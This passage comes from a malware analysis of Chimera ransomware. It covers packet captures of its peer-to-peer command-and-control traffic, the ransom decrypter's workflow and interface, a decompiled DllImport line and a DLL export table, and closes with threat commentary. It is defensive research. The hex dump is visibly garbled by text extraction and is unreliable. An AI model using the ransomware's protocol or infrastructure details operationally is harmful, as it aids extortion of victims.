100 150.560149 192.168.56.10 79.218.142.200 TCP 256 49165-+8444 Internet Protocol Version 4, Src: 192.168.56.10 (192.168.56.10), Dst: 79.218.142.200 Transmission Control Protocol, Src Port: 49165 (49165), Dst Port: 8444 (8444), Seq: Data (1452 bytes) Data: e9beb4d96f626a6563740000000000000065e75c4276c [Length: 1452] 0030 01 04 a0 c6 00 00 e9 be b4 d9 6f 62 6a 65 63 74 0040 00 00 00 00 00 00 00 65 e75 c4 27 6c 00 00
<pre>> Internet Protocol Version 4, Src: 192.168.56.10 (192.168.56.10), Dst: 79.218.142.200 > Transmission Control Protocol, Src Port: 49165 (49165), Dst Port: 8444 (8444), Seq: * Data (1452 bytes) Data: e9beb4d96f626a65637400000000000000065e75c4276c [Length: 1452] 0030 01 04 a0 c6 00 00 e9 be b4 d9 6f 62 6a 65 63 74</pre>
<pre>> Internet Protocol Version 4, Src: 192.168.56.10 (192.168.56.10), Dst: 79.218.142.200 > Transmission Control Protocol, Src Port: 49165 (49165), Dst Port: 8444 (8444), Seq: > Data (1452 bytes) Data: e9beb4d96f626a65637400000000000000065e75c4276c [Length: 1452] 0030 01 04 a0 c6 00 00 e9 be b4 d9 6f 62 6a 65 63 74</pre>
 Transmission Control Protocol, Src Port: 49165 (49165), Dst Port: 8444 (8444), Seq: Data (1452 bytes) Data: e9beb4d96f626a656374000000000000000065e75c4276c [Length: 1452] 0030 01 04 a0 c6 00 00 e9 be b4 d9 6f 62 6a 65 63 74
 ✓ Data (1452 bytes) Data: e9beb4d96f626a656374000000000000000065e75c4276c [Length: 1452] 0030 01 04 a0 c6 00 00 e9 be b4 d9 6f 62 6a 65 63 74
Data: e9beb4d96f626a6563740000000000000000065e75c4276c [Length: 1452] 0030 01 04 a0 c6 00 00 e9 be b4 d9 6f 62 6a 65 63 74
[Length: 1452] 0030 01 04 a0 c6 00 00 e9 be b4 d9 6f 62 6a 65 63 74
0030 01 04 a0 c6 00 00 e9 be b4 d9 6f 62 6a 65 63 74
0040 00 00 00 00 00 00 00 00 06 5e 75 c4 27 6c 00 00
0050 00 00 15 72 cf 00 00 00 00 56 62 e0 4a 00 00 r Vh 1
0060 00 02 01 01 a0 t9 68 22 4c 9d 5c et 6a 2e dd c4h" L.∖.j
0070 24 2b c8 8b ab b3 47 d5 bf 79 38 74 01 da 3d de \$+Gy8t=.
0080 44 21 27 94 28 81 41 54 d0 dc 67 d1 t0 t4 c6 te D!'.(.ATg
0090 le c6 18 54 bt t4 2e be t9 05 5a 73 d8 09 93 ceI
00a0 34 00 C/ 3/ /3 94 Ta 30 50 9a 2/ 69 35 a0 80 13 4/s; P.'15
0000 cd te 59 64 it 50 62 da 19 /b 0d 59 az aa bt 2dYd.\b(.Y
0000 of 0000 and $225f$ of $12000000000000000000000000000000000000$
0060 59 75 df 6a 0c c9 91 bb 9c 72 72 97 dc b7 2a 5f Vu i

The same protocol is used also to obtain the private key when the ransom is payed. Below - fragment of code of decompiled Decrypter:



Decrypter

Decrypter is delivered as an <u>.msi installer</u>. It have very friendly user interface and guides a victim through full process of decrypting files.

📔 Chimera Decrypter [v0.1]								
Step 1: Search encrypted files								
First, your computer have to be searched for encrypted files. Please press "Search" to begin. This step can take a few minutes.								
Filename	Size *							
C:\Users\tester\Documents\mini_tool_set\xvi32\XVI32.ini.crypt	1,27 KB							
C:\Users\tester\Documents\mini_tool_set\DarunGrim.zip.crypt	33,47 MB							
C:\Users\tester\Documents\mini_tool_set\OllyDumpEx.zip.crypt	380,27 KB							
C:\Users\tester\Documents\mini_tool_set\xvi32(1).zip.crypt	558,27 KB							
C:\Users\tester\Documents\desktop.ini.crypt	1,27 KB							
C:\Users\tester\Downloads\desktop.ini.crypt	1,27 KB							
C:\Users\tester\Downloads\keep-calm-and-reverse-the-malware-8.png.crypt	66,27 KB							
C:\Users\tester\Favorites\Links\desktop.ini.crypt	1,27 KB							
C:\Users\tester\Favorites\desktop.ini.crypt	1,27 КВ 🔤							
	4 07 1/2							
Exit	Next							

However, to work properly it requires that the full environment will be set as the malware left it. If we remove ransom notes of try to decrypt files moved from another computer - we will have unpleasant surprise. Decrypter fetches bitcoin wallet address from the ransom notes - that's why leaving it is necessary to make it work. Also, a hardware ID generated for the current machine must be the same like of the machine on which files have been encrypted. Decryption proceeds only if the payment to a particular address have been received.

Decoder is an executable written in C# and can be easily decompiled. However, it's core functions related to decrypting and hardware id generation are imported from and external dll (that is included in the decoder's package):

// Decrypter.ViewModel.Step4ViewModel
[DllImport("PolarSSLWrapper.dll", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Ansi, SetLastError = true)]
public static extern bool DecryptFileWrapper(string lpPath, IntPtr pInput, int szInputLength);

Offset	Name		Value		Meanin	g
23E30	Characteristics		0			
23E34	TimeDateStam	Р	55F95I	EF7		
23E38	MajorVersion		0			
23E3A	MinorVersion		0			
23E3C	Name		24A6C		Wrappe	er. dll
23E40	Base		1			
23E44	NumberOfFund	tions	2			
23E48	NumberOfNam	es	2			
Details						
Offset	Ordinal	Functio	on RVA	Name	RVA	Name
23E58	1	13A20		24A78		DecryptFileWrapper
23E5C	2	13900)	24A8B		GetHardwareIdWrapper

Export table of PolarSSLWrapper.dll:

Conclusion

Chimera does not have any outstanding obfuscation and once we unpack the core, analysis becomes easy. However, it comes with several ideas that are novel and may slowly become a new trend.

It's communication over P2P protocol is an interesting countermeasure from botnet take down. Also, the idea of blackmailing the user by leaking documents was not found in any malware before. In this case authors ended on bogus threats (sending huge amount of files to the C&C and storing them is much more costly) - but the idea itself is dangerous.

If others cybercriminals will get inspired and decide to implement it, we will have a new headache.

Appendix

<u>http://www.techwalls.com/chimera-ransomware-now-even-harder-decrypt/</u> - about Chimera's distribution method

<u>http://www.bleepingcomputer.com/news/security/chimera-ransomware-uses-a-peer-to-peer-decryption-service/</u> - more about Chimera's communication